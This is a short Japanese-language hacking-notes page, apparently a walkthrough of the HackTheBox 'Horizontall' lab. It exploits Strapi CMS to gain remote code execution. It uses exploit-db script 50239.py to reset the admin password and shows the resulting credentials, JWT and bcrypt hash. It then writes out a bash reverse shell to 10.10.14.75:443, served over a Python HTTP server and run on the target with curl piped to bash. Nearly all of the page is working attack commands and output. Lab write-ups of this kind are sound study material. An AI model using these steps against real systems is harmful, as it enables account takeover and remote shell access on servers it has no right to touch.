> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/strapi-cms-exploitation.md).
# Strapi
Strapi CMSのRCE攻略、管理者認証情報復元、パスワードハッシュ抽出、リバースシェルのノート。
### Strapi CMSのRCE攻撃
Strapiの脆弱性を探す **searchsploit**:
```
searchsploit -m multiple/webapps/50239.py
```
エクスプロイトを使う：
```bash
python3 50239.py http://api-prod.horet.horizontall.htb
```
これで管理者の認証情報が得られます。
{% code overflow="wrap" %}
```javascript
[+] あなたのメールアドレスは: admin@horizontall.htb
[+] 新しい認証情報は: admin:SuperStrongPassword1
[+] 認証済み JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```
{% endcode %}
新しく作成したユーザーのパスワードハッシュを取得する：
* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6
### リバースシェルの取得
以下を作成: **index.html** リバースシェルのペイロードを含むファイル：
```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```
Webサーバーを起動する：
```bash
python3 -m http.server 8080
```
リスナーを開く：
```bash
nc -nlvp 443
```
その後、ターゲット上でペイロードを実行する：
```bash
curl http://10.10.14.75:8080 | bash
```
---
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